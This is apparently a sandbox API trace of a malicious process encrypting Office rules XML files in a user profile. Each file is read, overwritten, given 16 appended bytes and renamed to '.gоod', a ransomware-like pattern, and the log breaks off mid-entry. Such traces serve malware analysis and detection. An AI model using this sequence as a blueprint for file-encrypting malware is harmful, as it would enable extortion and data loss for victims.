[0263.283] GetFileType (hFile=0x86c) returned 0x1 [0263.283] WriteFile (in: hFile=0x86c, lpBuffer=0x396f2f0*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x396f2f0*, lpNumberOfBytesWritten=0x207ec4d8*=0x430, lpOverlapped=0x0) returned 1 [0263.284] CloseHandle (hObject=0x86c) returned 1 [0263.284] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0263.284] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml.gоod", lpFilePart=0x0) returned 0x4c [0263.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0263.284] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msoia.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa676ba0c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xa676ba0c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x99241f8f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x430)) returned 1 [0263.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0263.284] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msoia.exe_rules.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\msoia.exe_Rules.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\msoia.exe_rules.xml.gоod")) returned 1 [0263.285] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0263.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0263.285] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\mspub.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x3970590 | out: lpFileInformation=0x3970590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44ade170, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x44ade170, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x44ade170, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x19601)) returned 1 [0263.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0263.285] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0263.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0263.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\mspub.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0263.286] GetFileType (hFile=0x86c) returned 0x1 [0263.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0263.286] GetFileType (hFile=0x86c) returned 0x1 [0263.286] SetFilePointer (in: hFile=0x86c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x1000 [0263.286] ReadFile (in: hFile=0x86c, lpBuffer=0x39709b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec668, lpOverlapped=0x0 | out: lpBuffer=0x39709b8*, lpNumberOfBytesRead=0x207ec668*=0x1000, lpOverlapped=0x0) returned 1 [0263.309] CloseHandle (hObject=0x86c) returned 1 [0263.310] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0263.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0263.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\mspub.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0263.310] GetFileType (hFile=0x86c) returned 0x1 [0263.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0263.310] GetFileType (hFile=0x86c) returned 0x1 [0263.310] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x19601 [0263.310] WriteFile (in: hFile=0x86c, lpBuffer=0x3974608*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ec588, lpOverlapped=0x0 | out: lpBuffer=0x3974608*, lpNumberOfBytesWritten=0x207ec588*=0x10, lpOverlapped=0x0) returned 1 [0263.311] CloseHandle (hObject=0x86c) returned 1 [0263.311] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0263.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0263.311] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\mspub.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0263.311] GetFileType (hFile=0x86c) returned 0x1 [0263.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0263.311] GetFileType (hFile=0x86c) returned 0x1 [0263.311] ReadFile (in: hFile=0x86c, lpBuffer=0x3976950, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec618, lpOverlapped=0x0 | out: lpBuffer=0x3976950*, lpNumberOfBytesRead=0x207ec618*=0x1000, lpOverlapped=0x0) returned 1 [0265.604] CloseHandle (hObject=0x86c) returned 1 [0265.604] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0265.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0265.605] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\mspub.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0265.605] GetFileType (hFile=0x86c) returned 0x1 [0265.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0265.605] GetFileType (hFile=0x86c) returned 0x1 [0265.605] WriteFile (in: hFile=0x86c, lpBuffer=0x36aec58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207ec6c8, lpOverlapped=0x0 | out: lpBuffer=0x36aec58*, lpNumberOfBytesWritten=0x207ec6c8*=0x1010, lpOverlapped=0x0) returned 1 [0265.605] CloseHandle (hObject=0x86c) returned 1 [0265.605] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml", lpFilePart=0x0) returned 0x47 [0265.605] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml.gоod", lpFilePart=0x0) returned 0x4c [0265.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0265.605] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\mspub.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44ade170, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x44ade170, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9a879a13, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x19611)) returned 1 [0265.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0265.606] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\mspub.exe_rules.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\mspub.exe_Rules.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\mspub.exe_rules.xml.gоod")) returned 1 [0265.607] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", lpFilePart=0x0) returned 0x51 [0265.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0265.607] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x3944568 | out: lpFileInformation=0x3944568*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc76852f0, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xc76852f0, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xc76852f0, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x72e3)) returned 1 [0265.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0265.607] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", lpFilePart=0x0) returned 0x51 [0265.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0265.607] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0265.608] GetFileType (hFile=0x86c) returned 0x1 [0265.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0265.608] GetFileType (hFile=0x86c) returned 0x1 [0265.608] SetFilePointer (in: hFile=0x86c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x1000 [0265.608] ReadFile (in: hFile=0x86c, lpBuffer=0x39449f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec668, lpOverlapped=0x0 | out: lpBuffer=0x39449f0*, lpNumberOfBytesRead=0x207ec668*=0x1000, lpOverlapped=0x0) returned 1 [0265.796] CloseHandle (hObject=0x86c) returned 1 [0265.796] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", lpFilePart=0x0) returned 0x51 [0265.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0265.797] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0265.797] GetFileType (hFile=0x86c) returned 0x1 [0265.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0265.797] GetFileType (hFile=0x86c) returned 0x1 [0265.797] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x72e3 [0265.797] WriteFile (in: hFile=0x86c, lpBuffer=0x3907578*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ec588, lpOverlapped=0x0 | out: lpBuffer=0x3907578*, lpNumberOfBytesWritten=0x207ec588*=0x10, lpOverlapped=0x0) returned 1 [0265.844] CloseHandle (hObject=0x86c) returned 1 [0268.854] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", lpFilePart=0x0) returned 0x51 [0268.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0268.854] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0268.854] GetFileType (hFile=0x768) returned 0x1 [0268.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0268.854] GetFileType (hFile=0x768) returned 0x1 [0268.854] ReadFile (in: hFile=0x768, lpBuffer=0x3847190, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec618, lpOverlapped=0x0 | out: lpBuffer=0x3847190*, lpNumberOfBytesRead=0x207ec618*=0x1000, lpOverlapped=0x0) returned 1 [0268.881] CloseHandle (hObject=0x768) returned 1 [0268.881] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", lpFilePart=0x0) returned 0x51 [0268.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0268.881] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0268.882] GetFileType (hFile=0x768) returned 0x1 [0268.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0268.882] GetFileType (hFile=0x768) returned 0x1 [0268.882] WriteFile (in: hFile=0x768, lpBuffer=0x3845eb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207ec6c8, lpOverlapped=0x0 | out: lpBuffer=0x3845eb0*, lpNumberOfBytesWritten=0x207ec6c8*=0x1010, lpOverlapped=0x0) returned 1 [0268.882] CloseHandle (hObject=0x768) returned 1 [0268.882] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", lpFilePart=0x0) returned 0x51 [0268.882] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml.gоod", lpFilePart=0x0) returned 0x56 [0268.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0268.883] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc76852f0, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xc76852f0, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x9c79e463, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x72f3)) returned 1 [0268.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0268.883] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml.gоod")) returned 1 [0268.884] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml", lpFilePart=0x0) returned 0x52 [0268.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0268.884] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x38c3650 | out: lpFileInformation=0x38c3650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ac8343, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xb3ac8343, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xbfe1eb4c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x72e3)) returned 1 [0268.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0268.886] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml", lpFilePart=0x0) returned 0x52 [0268.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0268.886] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0268.886] GetFileType (hFile=0x768) returned 0x1 [0268.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0268.887] GetFileType (hFile=0x768) returned 0x1 [0268.887] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x1000 [0268.887] ReadFile (in: hFile=0x768, lpBuffer=0x38c3ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec668, lpOverlapped=0x0 | out: lpBuffer=0x38c3ad8*, lpNumberOfBytesRead=0x207ec668*=0x1000, lpOverlapped=0x0) returned 1 [0269.011] CloseHandle (hObject=0x768) returned 1 [0270.003] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml", lpFilePart=0x0) returned 0x52 [0270.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0270.003] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0270.004] GetFileType (hFile=0x768) returned 0x1 [0270.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0270.007] GetFileType (hFile=0x768) returned 0x1 [0270.007] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x72e3 [0270.007] WriteFile (in: hFile=0x768, lpBuffer=0x387eb30*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ec588, lpOverlapped=0x0 | out: lpBuffer=0x387eb30*, lpNumberOfBytesWritten=0x207ec588*=0x10, lpOverlapped=0x0) returned 1 [0270.008] CloseHandle (hObject=0x768) returned 1 [0270.008] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml", lpFilePart=0x0) returned 0x52 [0270.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0270.008] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0270.008] GetFileType (hFile=0x768) returned 0x1 [0270.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0270.008] GetFileType (hFile=0x768) returned 0x1 [0270.008] ReadFile (in: hFile=0x768, lpBuffer=0x38816a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec618, lpOverlapped=0x0 | out: lpBuffer=0x38816a8*, lpNumberOfBytesRead=0x207ec618*=0x1000, lpOverlapped=0x0) returned 1 [0270.036] CloseHandle (hObject=0x768) returned 1 [0270.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml", lpFilePart=0x0) returned 